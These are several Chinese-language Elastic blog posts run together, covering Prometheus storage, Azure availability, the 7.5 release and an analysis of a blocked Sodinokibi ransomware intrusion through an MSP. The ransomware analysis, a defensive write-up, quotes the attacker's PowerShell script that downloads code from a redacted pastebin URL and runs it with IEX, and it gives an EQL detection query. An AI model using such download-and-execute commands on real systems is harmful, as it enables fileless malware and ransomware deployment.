</p><h2>长期数据保留</h2><p>Prometheus 将数据存储在本地（即实例内）。将计算和数据存储整合到一个节点上固然能简化操作，但也会加大扩展难度，还会导致难以确保高可用性。因此，Prometheus 即使优化后也并非<a href="https://prometheus.io/docs/prometheus/latest/storage/">长期指标存储工具</a>。在 Prometheus 中，时序型数据的最佳保留率可能会短至几天甚至几小时，具体取决于您环境的规模。
</p><p>如要以可扩展的持久方式保留 Prometheus 数据来进行长期分析（例如时序型数据的季节性），您将需要一套长期存储解决方案来配合 Prometheus 一起使用。有很多解决方案可供选择，例如其他的专业时序数据库 (TSDB) 或已针对时序数据进行优化的列式数据库。这些解决方案尽管能够高效存储指标，但却有一个共同缺点，即它们只专门针对一种数据类型——指标。对于帮助理解系统运行状况，指标当然发挥着极其重要的作用，但要想系统实现可观测性，指标也只是一部分内容而已。
</p><p>考虑可观测性时，用户通常会尝试将其他类型的运行数据（例如日志和跟踪数据）与指标一同囊括进来。在我们<a href="/cn/blog/observability-with-the-elastic-stack">关于 Elastic Stack 中的可观测性</a>的博文中，我们提到过用户在采用 Elastic Stack 处理日志之后，对于越来越多的用例也开始将指标、跟踪数据和运行状态数据添加到 Elasticsearch 中。毫无疑问——对于所有这些数据类型，Elasticsearch 只是将它们看做另一个索引，并允许您以任意方式对全部运行数据进行汇总、关联、分析和可视化。Elastic 中的诸如<a href="/guide/en/kibana/7.5/data-rollups.html">数据汇总</a>等功能可让您以极低成本（仅为存储原始数据的成本的几分之一）存储之前的时序型数据。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt71f6bf23c538fed4/5df8064179dd560a9391aba1/prometheus-monitoring-blog-elastic-observability.png" data-sys-asset-uid="blt71f6bf23c538fed4" alt="Elastic 可观测性：日志 + 指标 + APM 跟踪数据 + 运行状态数据" style="display: block; margin: auto;">
</p><p>那么，对于为 Prometheus 选择长期存储方案而言，这意味着什么呢？您可以选择专门的指标存储工具来保存更长时间内的 Prometheus 指标，但这可能会创建另一个孤岛。或者，您可以选择 Elastic Stack 来同时实现两个目标：飞速运行 Prometheus，还能在可扩展的集中型 Elasticsearch 部署中存储指标以及您的其他运行数据，想存多久存多久。这意味着既可以长期存储数据，<em>还</em>能够增强可观测性。
</p><h2>针对 Prometheus 数据的集中式全局视图</h2><p>在生产环境中，您可能管理着多个 Kubernetes 集群。每个集群会运行一个或多个 Prometheus 实例，通过这些实例便可以查看节点、Pod、服务和端点的运行状况。缺了点什么吗？
</p><p>一个 Prometheus 实例可以覆盖您环境中的一个资源子集。但如果您问的问题需要从多个集群查询指标，则 Prometheus 无法直接实现此目的。&nbsp;
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt5087540d7b7ea2f1/5df9089743a01a5be6375162/prometheus-monitoring-blog-architecture.svg" data-sys-asset-uid="blt5087540d7b7ea2f1" alt="使用 Elasticsearch 进行长期监测和保留" style="display: block; margin: auto;">
</p><p>将 Elastic 作为集中存储工具后，您能够整合数百个 Prometheus 实例中的数据，并对来自所有资源的数据实现全局查看。Metricbeat 中的 <a href="/guide/en/beats/metricbeat/7.5/metricbeat-module-prometheus.html">Prometheus 模块</a>能够自动从 Prometheus 实例、Push Gateway、导出工具以及支持 Prometheus 阐释格式的几乎所有其他服务中采集指标。最棒的一点是，您无需在生产环境中进行任何变更——纯粹的即插即用型体验。
</p><h2>高基数维度</h2><p>为什么“高基数”如此重要？高基数能够让您以标签或标记的形式为指标添加任意上下文。大部分情况下，您都想保留这一元数据，因为在对服务进行故障排查时这些元数据能够发挥巨大的帮助作用。所有这些跟踪 ID、请求 ID、容器 ID、版本号等信息始终可以帮助您详细了解系统中发生的事情。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0ef95105672c51a7/5cd35165a2ceb62a59489073/high-cardinality-thumb.jpg" data-sys-asset-uid="blt0ef95105672c51a7" alt="" style="display: block; margin: auto;"><br>
</p><p>单纯的时序数据库 (TSDB) 在处理低基数维度时，效果非常好。专业 TSDB 宣称其在存储效率方面要优于 Elasticsearch，但这有一个前提：需为低基数维度。<a href="https://prometheus.io/docs/practices/naming/">Prometheus 文档</a>强烈建议避免处理高基数数据：
</p><p><em><strong>注意：</strong>请记住，每个唯一的键值标记对组合都表示一个新的时序型数据，其会大幅增加所存储的数据量。不要使用标记来存储高基数维度（很多不同的标记值），例如用户 ID、电子邮箱地址，或者其他不受限制的数值集合。</em>
</p><p>这条建议真的好用吗？在分布式环境中，故障排场是一项异常复杂的任务。之前，使用大型整体模块时，故障排查过程很简单，一步步检查应用程序代码就可以了。只需查看几个仪表板，用户便能很轻松地确定哪个大型整体模块是导致问题的元凶。但现在已时过境迁。基础设施软件正在经历一次范例转移。容器、编排工具、微服务、Service Mesh（服务网格）、无服务器、Lambda——所有这些都是前景十分看好的技术，能够改变我们构建和运行软件的方式。相应地，它的分布性越来越强，所以故障排查过程就有点像侦探工作，需要在系统中找出存在问题的代码。
</p><p>高基数<a href="/cn/blog/improving-the-performance-of-high-cardinality-terms-aggregations-in-elasticsearch">对 Elastic 而言则全然不是问题</a>。用户向数据添加相关上下文时，根本没有任何限制。由于 Elasticsearch 有强大的索引功能，其能让用户以任意方式、使用任何元数据为指标添加注释；通过这些元数据，用户便能尽快找到导致问题的因素并确定根本原因。
</p><h2>安全无虞，不分地点</h2><p>我们对良好工具的期望之一就是它至少不要向我们的环境中引入安全风险。对于任何分布式部署而言，安全的两大基石都是加密通信和访问控制。
</p><p>在撰写本文时，Prometheus 服务器、Alertmanager 以及官方导出工具均不支持对 HTTP 端点进行 TLS 加密。如要通过安全方式部署这些组件，您必须使用诸如 <code>nginx</code> 等<a href="https://prometheus.io/docs/guides/tls-encryption/">反向代理</a>，并在代理层上应用 TLS 加密。任何针对指标的基于角色的访问控制 (RBAC) 也应该在外部完成，而不能通过 Prometheus 服务器自行完成。令人欣慰的是，如果您在 Kubernetes 集群内运行 Prometheus，TLS 和 RBAC 根本不是问题，因为 Kubernetes 集群同时提供这两项功能。在所有其他用例（例如在地理分布式或混合式部署中运行数百个 Prometheus 服务器）中，使用第三方工具解决这些安全顾虑可不是一项轻松工作。
</p><p>在 Elastic，我们非常重视这些风险，将安全性作为我们堆栈中不可或缺的一部分。我们在默认分发版本中免费提供基本安全选项，同时 Elasticsearch 还能让您通过<a href="/guide/en/elasticsearch/reference/7.5/secure-cluster.html">多种方式</a>确保您集群中数据的访问权限的安全性，并对集群和数据采集器之间的流量进行加密。除了 <a href="/guide/en/elasticsearch/reference/7.5/authorization.html">RBAC</a>，Elasticsearch 还支持细粒度的基于属性的访问控制 (ABAC) 机制，通过这一机制您能够限制搜索查询和聚合中的文档的访问权限。通过 Metricbeat 中的 <a href="/guide/en/beats/metricbeat/7.5/configuration-ssl.html">SSL 配置设置</a>，您可以确保无论您的环境规模多大，分布多么广泛，自己的数据都能安全地进行传输。&nbsp;
</p><h2>将 Prometheus 指标流式发送到 Elasticsearch</h2><p>使用 <a href="/guide/en/beats/metricbeat/7.5/metricbeat-getting-started.html">Metricbeat</a>，您现在便能开始将指标从 Prometheus 传输到 Elasticsearch。通过 <a href="/guide/en/beats/metricbeat/7.5/metricbeat-module-prometheus.html">Prometheus 模块</a>，您能够通过多种方式从 Prometheus 服务器、导出工具或者 Push Gateway 中采集指标：
</p><ol>
	<li>如果已在运行 Prometheus 服务器并希望直接对这些指标进行查询，您连接至 Prometheus 服务器并通过 <code>/metrics</code> 端点或者 Prometheus 联合 API 提取业已采集的指标，即可开始。<br><br><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt3b9f96f849647d98/5df90dd0973ece5c8871214b/prometheus-monitoring-blog-with-server.svg" data-sys-asset-uid="blt3b9f96f849647d98" alt="使用 Prometheus 服务器时的监测架构" style="display: block; margin: auto;"></li>
</ol><ol start="2">
	<li>如果没有 Prometheus 服务器，或者不介意同时使用多个工具从导出工具和 Push Gateway 中采集数据，则您可以直接连至它们。<br><br><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltfe6346dd4f5495a7/5df90e43b24eb127e25aa447/prometheus-monitoring-blog-without-server.svg" data-sys-asset-uid="bltfe6346dd4f5495a7" alt="未使用 Prometheus 服务器时的监测架构" style="display: block; margin: auto;"></li>
</ol><p>运行 Metricbeat 时尽量精简其与 Prometheus 服务器之间的步骤。欢迎阅读我们的 <a href="/cn/blog/elasticsearch-observability-embracing-prometheus-and-openmetrics-standards-for-metrics">Prometheus 和开放标准博文</a>，并从中选择最契合您的需求的配置。
</p><h2>随时了解 Prometheus 服务器的运行状况</h2><p>Elastic Stack 还能让您随时了解所有 Prometheus 实例的运行状况。您可以使用 Metricbeat 从环境中的每个 Prometheus 服务器上采集性能指标并加以存储。借助我们提供的开箱即用型预定义仪表板，您可以轻松查看很多内容，例如单个端点的 HTTP 请求数量、查询持续时间、所发现目标的数量，等等。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt73121b2aa2f61a4c/5df8083c9e95640744a1d088/prometheus-monitoring-blog-dashboard.jpg" data-sys-asset-uid="blt73121b2aa2f61a4c" alt="Kibana 中的 Prometheus 监测仪表板" style="display: block; margin: auto;">
</p><h2>总结</h2><p>说到我们的最终目的，就是您、您的团队以及您的整个公司/组织能够取得成功。大家应该将所有工具都视为达成目标的一种方式。每个团队都应该可以自由选择有助于发挥自身全部潜力的任何工具。至于如何打破运营孤岛，我们坚信 Elastic 能够帮您构建一个终极可观测性平台，在这个平台上，贵公司/组织的每个人都能够安全地访问运行数据，与之进行交互，并重新成为一个团队。
</p><p>如果希望了解我们如何处理时序型数据，请查看我们的 <a href="/cn/infrastructure-monitoring">Elastic Metrics</a> 网页。试试将您的指标流式传输到 <a href="/cn/elasticsearch/service">Elasticsearch 服务</a>——Elasticsearch 服务能让您无比轻松快捷地上手使用。如有任何问题，请在<a href="https://discuss.elastic.co/c/metrics">论坛</a>上给我们留言。
</p>

blog-generic-black-banner.png

prometheus-monitoring-blog-thumb.png

Prometheus monitoring at scale with the Elastic Stack

Prometheus 搭配 Elastic Stack，助力实现大规模监测

<p>于<a href="/cn/blog/elasticsearch-service-on-elastic-cloud-now-available-on-microsoft-azure">今年早些时候</a>在 Microsoft Azure 上发布包含全部功能的公开测试版 Elasticsearch Service 后，我们现在十分高兴地宣布其已升级至正式版本！Elasticsearch Service 现有客户可以使用既有账户<a href="https://cloud.elastic.co/">登录</a> Azure 并进行部署，而新用户则可以通过 <a href="https://info.elastic.co/elasticsearch-service-trial-microsoft-azure.html?elektra=ess-azure-ga-blog">14 天的 Elasticsearch Service 免费试用计划</a>开始体验这项服务。
</p><h2>加深 Elastic 与微软之间成功的合作关系</h2><p>在公开测试期间，我们看到 Elastic 和微软的共同用户很快便采用了 Elasticsearch Service on Azure。因此，Elastic 和微软能够接触到各种各样的生产级和非生产级工作负载，并进而充满信心地宣布推出这一强大可靠服务的正式版本。
</p><p>我们致力于为 Elastic 和微软技术的共同用户打造更棒的体验，Elasticsearch Service on Azure 只是其中一个方面而已。对于喜欢 Elastic Stack 自管型部署的用户而言，他们一直在通过 Azure Marketplace 来获取<a href="https://azuremarketplace.microsoft.com/en-us/marketplace/apps/elastic.elasticsearch">适用于 Elastic Stack 的 ARM 模板</a>（于几年前共同发布）。我们同时还支持其他领域的微软技术，例如我们的 .NET 客户端、针对 WindowsOS 事件收集活动的 Winlogbeat、旨在确保 Elasticsearch 集群安全的 Azure Active Directory 集成、我们在 Elastic APM 产品中提供的 .NET 支持，不胜枚举。对我们两家公司的共同用户而言，我们的技术组合需要无缝协作并提供新的创新机遇，这一点比以往任何时候都更重要。
</p><p>“我们与微软之间的合作继续发力，势头越来越好。”Elastic 业务开发部副总裁 Craig Griffin 说道，“在 Azure 上提供 Elastic 解决方案是我们的一项重点工作，因为我们看到用户在这一方面表现出了强烈兴趣。”
</p><h2>Elasticsearch 携手 Azure，提供您喜爱的所有功能</h2><p>Elasticsearch Service on Elastic Cloud 是官方的托管型 Elasticsearch 和 Kibana 服务，由 Elastic 开发和提供支持。我们不仅提供诸如 Elastic App Search、Elastic APM、Elastic SIEM 和 Elastic Maps 等解决方案，还通过我们的 SRE、技术支持和咨询专家提供 Elastic 技术专长。在 Azure 上充满信心地完成部署，因为您知道一直可以使用最新的 Elastic 软件版本和补丁，并且可以进行一键式维护和零宕机时间升级。
</p><p>自从推出公测版以来，我们又在<a href="/cn/blog/elasticsearch-service-is-now-available-on-microsoft-azure-in-washington">华盛顿</a>和<a href="/cn/blog/elasticsearch-service-is-now-available-on-microsoft-azure-in-singapore">新加坡</a>推出了新的 Azure 区域，并且我们已制定积极计划以在全球各地支持更多区域。我们在<a href="/cn/blog/elastic-stack-7-5-0-released">近期发布的 Elastic Stack 7.5</a> 中对 Beats 进行了改进，以便直接从 <a href="/cn/blog/elastic-observability-7-5-0-released">Azure Monitor 和 Azure Event Hub</a> 采集日志和指标并在 Kibana 中的预构建仪表板内进行展示。我们还发布了可以在 Azure 上运行的全新 Elasticsearch Service 部署模板，例如<a href="/cn/blog/free-elasticsearch-service-hot-warm-upgrade">热温部署</a>和<a href="/guide/en/cloud/current/ec-release-notes-2019-08-12.html">跨集群搜索</a>模板。
</p><p>展望未来，我们还对即将在 Elasticsearch Service 上推出的 <a href="/cn/app-search">Elastic App Search</a> 感到十分兴奋；Elastic App Search 在发布伊始便可在我们支持的所有 Azure 区域中使用。
</p><h2>客户激情感言</h2><p>“由于安装了数千台机器，我们需要一项基于 Azure 的技术来实时传输机器数据并将其转换为智能信息，以便我们远程监测机器，构建预测型模型，并为服务技术人员和客户提供洞见和制定行动计划。”Bell and Howell 公司分析业务和数据服务部门的副总裁 Haroon Abbu 博士说道，
</p><p>“有了 Elasticsearch，我们得以消除繁重的手动批量流程；通过 Elasticsearch Service on Azure，我们能够在系统所在的云服务提供商平台上实现无缝运行和管理。现在我们拥有一个托管型平台，可用于监测来自多个系统的数据，这极大程度上提高了我们提供优质客户服务的能力，提升了 DevOps 和技术团队的工作效率，并且通过启用实时预测型维护和规范性洞见改善了系统的可用性。”
</p><h2>针对数据传输和存储推出限时优惠</h2><p>我们限时免费提供数据传输和存储服务。抓住这一宝贵机会在 Azure 上完成部署，机不可失，失不再来！如欲参加此活动，只需在您既有的 <a href="https://cloud.elastic.co/">Elastic Cloud 账户</a>中创建 Azure 部署；如为新用户，您可以通过我们的<a href="https://info.elastic.co/elasticsearch-service-trial-microsoft-azure.html?elektra=ess-azure-ga-blog"> 14 天 Elasticsearch Service 免费试用计划</a>开启使用之旅。
</p>

Elasticsearch Service is now generally available on Microsoft Azure

Elasticsearch Service 现正式登陆 Microsoft Azure

<p>上个月，<a href="/cn/blog/introducing-elastic-endpoint-security">Elastic 安全</a>保护团队阻止了一次尝试未果的勒索软件攻击，此次攻击针对的是由我们一个客户（一家托管服务提供商 (MSP)）监测的一家公司/组织。<a href="/cn/products/endpoint-security">Elastic Endpoint Security</a> 在多个端点上阻止了敌手的进程注入尝试后，我们分析了所生成的告警。敌手通常首先尝试将他们的恶意代码注入到当前运行进程中，然后才会加密并攫取受害人的数据以进行勒索。
</p>
<p>我们在此案例中观测到的行为与有关恶意行动者的报告相一致，这些恶意行动者为了在企业层面部署勒索软件已将目光瞄准了 MSP。通过滥用 MSP 与其客户之间的信任关系，此类性质的攻击所造成的影响越来越大：能够让小型企业瘫痪，干扰交通运输，甚至中断至为关键的市政公共服务。
</p>
<p>在此案例中有很重要的一点需要注意：敌手是通过另外一家 MSP（并非 Elastic 安全解决方案的客户）进入目标环境的，所以对于所涉环境以及其遭到入侵的过程我们并不知晓具体细节。
</p>
<p>在此篇博文中，我们将会讨论所观测到并阻止的恶意行为，为什么此类攻击通常能广为传播并取得成功，以及您可以在企业中采取哪些措施来降低此类攻击的有效性。
</p>
<table style="background: #FFFFD2;" rel="background: #FFFFD2;">
<tbody>
<tr>
	<td>Elastic 安全情报与分析是 Elastic 安全工程部门内的一个团队，该团队会使用来自参与计划的客户的匿名安全遥测数据来跟踪威胁并改进产品，其任务之一就是收集告警元数据。通过监测对诸多客户造成影响的事件的模式，我们能够及时作出决策，从而更好地缓解新出现的威胁或为社区提供关键信息。
	</td>
</tr>
</tbody>
</table>
<h2>阻止恶意进程注入</h2>
<p>阻止了数次<a href="https://attack.mitre.org/techniques/T1055/">进程注入</a>尝试后，我们发现了入侵的最早期证据。恶意行动者可利用进程注入来执行当前运行进程的地址空间中的代码。敌手经常通过执行这一操作来实现下列目的：避免被安全产品检测到，或者在运行于更高完整性级别上的进程中运行他们的恶意代码以提升自身权限。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0e931adeb1ae4bfd/5de55b56546f955ab898caa6/ransomware-prevention-blog-process-injection-alerts.png" data-sys-asset-uid="blt0e931adeb1ae4bfd" alt="ransomware-prevention-blog-process-injection-alerts.png" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">Elastic Endpoint Security 平台中的进程注入告警</figcaption>
<p>通过分析进程注入告警，我们得以确定 PowerShell（一款强大的原生脚本框架）被用来尝试向其自身注入 Shellcode（这一行为通常都是恶意的）。<code>powershell.exe</code> 进程作为 <code>ScreenConnect.WindowsClient.exe</code>（一款远程桌面支持应用程序）的一个子进程被成功创建出来。ScreenConnect 等此类软件可用于允许 IT 管理员连接至远程计算机并为终端用户提供支持，但此类应用程序经常会遭到敌手的滥用（这一策略又称作“离地攻击”）。
</p>
<p>下图便是 Resolver™ 中与此案例相关的异常进程系谱，我们通过可视化来展示与攻击相关的事件。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt99a68ebf6b2fa11e/5dd85905cbf96739d40873e2/ransomware-prevention-blog-resolver.jpg" data-sys-asset-uid="blt99a68ebf6b2fa11e" alt="" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">Resolver™ 显示与进程注入尝试行为相关的进程系谱</figcaption>
<p>请注意 <code>cmd.exe</code> 和 <code>powershell.exe</code> 均为 <code>ScreenConnect.WindowsClient.exe</code> 进程的子进程。鉴于它们能够执行恶意命令或脚本，这一点很可疑，但单独来看的话，这并不一定表示存在恶意活动。为您的环境建立基线，并理解企业中正常进程间的关系，这两点对猎捕、检测和响应恶意行为十分关键。
</p>
<p>在此案例中，通过对进程及其命令行变量进行审查，我们发现敌手正是利用了 ScreenConnect 远程桌面软件来连接至目标端点并向其中复制了一个批处理文件。通过在 Resolver™ 中检查一个 <code>cmd.exe</code> 进程，我们发现这个批处理文件包括一个通过 Base64 编码的 PowerShell 脚本且此脚本随后得到了执行。
</p>
<h2>通过 EQL 检测并阻止非预期行为</h2>
<p>尽管这家由 Elastic Endpoint Security 提供保护的潜在目标公司/组织避免了一次代价高昂的勒索软件爆发，但仍有很多 MSP 尚未能理解这一方法。这个敌手知道服务提供商通常已与其客户建立绝对信任关系，因而各种各样的服务提供商对敌手而言很有价值。
</p>
<p>一旦敌手获得了其目标环境的最初访问权限，他们很典型的做法就是寻求并滥用这种绝对信任关系，正如我们在此案例中看到的一样。受害的公司/组织信任 MSP 通过远程桌面支持应用程序与其环境建立的连接，这就导致了<a href="https://attack.mitre.org/techniques/T1195/">供应链入侵</a>风险。
</p>
<p>在考虑如何监测和保护这些信任关系时，一个很好的出发点就是聚焦于能从受信任方连接至您的网络的应用程序。将 ScreenConnect 的子进程加入黑名单可能并非阻止此类恶意行为的可行解决方案，因为这可能会阻止合法支持人员有效开展工作。然而，安全监测团队可以决定将使用网络的 ScreenConnect 子进程归于可疑之列，进而检测和阻止恶意行为。借助 <a href="https://www.endgame.com/blog/technical-blog/getting-started-eql">Elastic 的 Event Query Language（EQL，事件查询语言）</a>便能够做到这一点，而且这也是培养环境意识的一个常用方法。
</p>
<p>下方的 EQL 查询会搜索一个包括两个事件的序列（通过进程的唯一进程 ID (PID) 连接在一起）。第一个事件会查找 <code>ScreenConnect*.exe</code> 的子进程。第二个事件会查找来自该子进程的网络活动。这个查询可以轻松地进行扩展，以将其他远程访问软件也包括在内，或筛选您环境中的预期活动。
</p>
<pre class="prettyprint">sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]
</pre>
<p>通过 Elastic Endpoint Security，用户还能够配置一个 <a href="https://www.endgame.com/blog/executive-blog/what-is-reflex">Reflex 响应行动</a>，通过这种方法客户能够实施他们自己的自定义阻止规则。举个例子，当子进程建立网络连接时，我们可以强行将其关闭，这样便能够阻止下载更多恶意代码，或阻止命令和控制活动。
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9d4886f851ceb49a/5dd85ad8fcb522353a694edf/ransomware-prevention-blog-reflex-response.png" data-sys-asset-uid="blt9d4886f851ceb49a" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">在 Elastic Endpoint Security 平台中配置 Reflex 响应行动</figcaption>
<p>Elastic Endpoint Security 提供了数百条我们自己的、基于行为的分析结果，其中便包括一些检测和阻止方法，针对的就是 Windows、MacOS 或 Linux 操作系统原生第三方管理工具或二进制文件的异常进程关系。
</p>
<h2>对敌手谍报技能的分析结果</h2>
<p>所执行的 PowerShell 脚本首先会检查处理器架构，然后才会利用 .NET <code>WebClient</code> 类从 Pastebin 下载内容，并利用 <code>Invoke-Expression</code> (<code>IEX</code>) cmdlet 来执行代码。通过 PowerShell 来下载和执行代码时，这在敌手当中是一种特别流行的做法。
</p>
<p>Pastebin 是一项纯文本托管和分享服务，合法用户经常使用此服务来分享代码片段。然后，恶意行动者也会利用 Pastebin 或类似网站来存储恶意代码或发布已泄露的凭据。
</p>
<pre>If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
</pre><figcaption style="text-align: center;" rel="text-align: center;">从 pastebin.com 下载内容<sup>1</sup> 的 PowerShell 脚本
</figcaption>
<p>由于在端点上完全没有或仅有极少的磁盘活动，所以此类行为通常会归类为“无文件”或“内存内”攻击。Elastic Endpoint Security 代理检测到“无文件”攻击时，其会自动收集并提取预发布的已注入代码和字符串。此功能确保了我们对所阻止行为拥有完整可见性。
</p>
<p>在 <a href="https://www.virustotal.com/">VirusTotal</a> 上对所收集的部分字符串进行搜索后，我们发现了来自 Sodinokibi 勒索软件家族的数个样本。
</p>
<p>下面的具体工具标记和行为表示：此活动与 BleepingComputer 和 <a href="https://www.cynet.com/blog/ransomware-never-dies-analysis-of-new-sodinokibi-ransomware-variant/">Cynet</a> 所举报的 Sodinokibi 或 Gandcrab 勒索软件样本的执行活动一致：
</p>
<ul>
	<li>恶意行动者利用 ScreenConnect 远程桌面支持软件来从侵入的 MSP 连接到目标企业。</li>
	<li>ScreenConnect 被用来向端点上复制一个批处理脚本，这个批处理脚本上包含一个 PowerShell 脚本，以便从 Pastebin 下载并注入恶意代码。</li>
	<li>PowerShell 脚本包含 cmdlet 和字符串（例如 <code>Invoke-LJJJIWVSRIMKPOD</code> 和 <code>Start-Sleep</code>），而这些内容已在其他 Sodinokibi 勒索软件活动中观测到。</li>
	<li>从所注入线程中收集的字符串与过去 24 小时内提交至 VirusTotal 的 Sodinokibi 勒索软件样本一致。</li>
</ul>
<p>敌手向自身注入 Shellcode 并执行勒索软件的企图被阻止后，他们对最初端点的攻击停止。15 分钟后，敌手返回并企图在另外 5 个端点上执行同一套程序，均以失败告终，此后他们才最终放弃。他们尝试部署勒索软件的所有行为均被阻止。
</p>
<h2>结论</h2>
<p>在此篇文章中，我们讨论了一个关于恶意行动者滥用 MSP 与其客户间的信任关系并企图部署勒索软件的真实案例。这一案例凸显了理解下面两点的重要性：贵公司/组织与第三方之间的关系，以及如果连接遭到滥用可能会造成哪些影响。
</p>
<p>通过对告警进行分析，我们知道敌手通过远程桌面支持软件连接至客户环境并执行了恶意脚本，以期能够下载、注入并执行恶意软件。敌手的所有尝试行为均被阻止。
</p>
<p>这一案例还展示了下面两点的重要性：需要采用分层安全方法，而且必须能够检测并阻止敌方行为和“无文档”攻击。我们剖析了攻击者采用的程序，并展示了如何搭配使用 EQL 和 Reflex 来创建自定义规则和响应。
</p>
<p>仅查找恶意文件尚且不够；Elastic Endpoint Security 针对勒索软件、“无文件”攻击、钓鱼、漏洞攻击和敌方行为提供基于行为的多层保护措施。
</p>
<p><a href="https://github.com/elastic/elasticsearch/issues/49581">Elasticsearch 中已添加 EQL 支持</a>。
</p>
<p><em>1 — 此内容随后已由其创建者或 Pastebin 员工从 Pastebin 中删除
	</em>
</p>

ransomware-prevention-blog-full-bleed.png

ransomware-prevention-blog-thumbnail.png

Ransomware, interrupted: Sodinokibi and the supply chain

勒索软件，成功拦截：Sodinokibi 和供应链

7.5 新特色：可视化更直观，对 Observability 和 Security 解决方案进行了改进，而且将 Elastic Enterprise Search 加入了发布版本中。

<p>我们非常兴奋地宣布 Elastic Stack 7.5 正式发布了。我们在此版本中推出了 Kibana Lens，用户通过 Lens 可以快速又直观地创建可视化视图。我们在这一版本中对 Observability 和 Security 解决方案进行了重大的改进，同时我们还将 Elastic Enterprise Search 加入到了 7.5 的版本中。
</p><p>请继续阅读本文，并了解这个版本的所有亮点，并深入详细的阅读发布说明文档，才不会错过任何细节。
</p><h2>隆重推出 Kibana Lens：全新的数据可视化体验</h2><p>一直以来 Kibana 都是可视化 Elasticsearch 中存储的数据和查看 Elastic Stack 整个技术栈的最佳方法。在 7.5 中，我们推出了 Kibana Lens，这是一种全新的创建可视化的方式。Lens 的设计十分直观，即使您之前没有任何技术经验，对 Elasticsearch 毫无了解，也能够基于原始数据，快速地制作出含义丰富的可视化呈现。首先 Lens 实现了崭新的拖拽式体验，而且通过 Lens ，您可以轻松在不同图表类型和索引模式之间切换。如果在图表中添加了字段，Lens 会为您提供智能建议，为您展示数据的其他视图。结合 Elasticsearch 高速的查询能力，Lens 能够让您比以前更快速、更轻松地实现数据可视化、探索和洞悉自己的数据。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltf9fbbfb3b1813a3e/5dcec7d5cbf96739d4084ae7/7.5-stack-blog-lens-drag-and-drop-launch-blog.gif" data-sys-asset-uid="bltf9fbbfb3b1813a3e" alt="7.5-stack-blog-lens-drag-and-drop-launch-blog.gif">
</p><p>想详细了解 Lens 相关的完整详情，请参阅 <a href="/cn/blog/introducing-kibana-lens">Lens 的发布博文</a>。或者也可以查看 <a href="/cn/blog/kibana-7-5-0-released">Kibana 博文</a>，了解在 7.5 中所推出的Kibana的所有其他功能。
</p><h2>Elasticsearch “索引时丰富”选项使数据更加丰满</h2><p>向前一直回溯至 Elasticsearch 5.0，我们在那个版本中，首次推出了“摄入管道（ingest pipeline）”，通过这种方式，用户可以在索引文档时，对文档进行处理和丰富。通过直接在Elasticsearch 中整合这一功能，用户可以轻松地通过 API 进行配置，很容易扩展，而且性能十分之快。多年来，我们看到这一功能得到了广泛的应用，我们目前在几乎所有模块（亦即我们提供原生支持的诸多数据源）中都调用这个功能，来进行数据的处理和丰富。无论是使用 grok 或 dissect 解析一行日志，还是为 IP 地址来添加地理位置数据，摄入管道都在逐渐成为在 Elastic Stack 中进行“摄入时处理”的主要工具。随着 7.5 的发布，我们非常兴奋地推出用户呼声最高的功能之一：基于查询结果进行丰富。通过新的 Enrich 处理器，用户能够高效地对 Elasticsearch 索引进行查询，并在索引时将查询结果添加到文档中。这个处理器能够使您完成很多的处理，例如根据已知的 IP 地址识别网络服务或供应商，基于用户的地理坐标添加邮编，或者从配置管理数据库（CMDB）中查询所采集主机的信息，并在索引时将相关元数据添加到文档中。
</p><p>如需了解有关于 Enrich 处理器的更多信息，并查看 7.5 中推出的全部崭新 Elasticsearch 的全新功能，欢迎阅读 <a href="/cn/blog/elasticsearch-7-5-0-released">Elasticsearch 博文</a>。
</p><p>Elastic Stack 还我们提供了其它解决方案：针对我们最常见的用例定制了专用应用。继续阅读，了解有关 Observability、Security 和 Enterprise Search 的诸多亮点。
</p><h2>Elastic Enterprise Search</h2><p>Elastic Enterprise Search 旨在为企业的人员/团队供给对他们而言最重要的内容。对于那些严重依赖于 Microsoft 产品的公司/组织而言，Elastic Enterprise Search 能够使用户实现与 SharePoint Online、Office 365 和 OneDrive 的一键式集成，让他们更加轻松地将所有内容平台整合在一起，并进行搜索。除此以外，Enterprise Search 还具有全新的 ServiceNow 连接器，能够让您将全部业务运维信息集中到一处。借助这些新增的数据源，再加上之前已具备的数据源，例如 Salesforce、Google Drive、Atlassian JIRA、Confluence、Dropbox 等等，您的团队现在能够专注于他们需要完成的工作。</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0585b6fe7881744c/5dcec82f3667ee3ad8769803/7.5-stack-blog-screenshot-enterprise-search-7-5-sources.jpg" data-sys-asset-uid="blt0585b6fe7881744c" alt="7.5-stack-blog-screenshot-enterprise-search-7-5-sources.jpg">
</p><p><strong><em><strong><em><strong><em></em></strong></em></strong></em></strong>
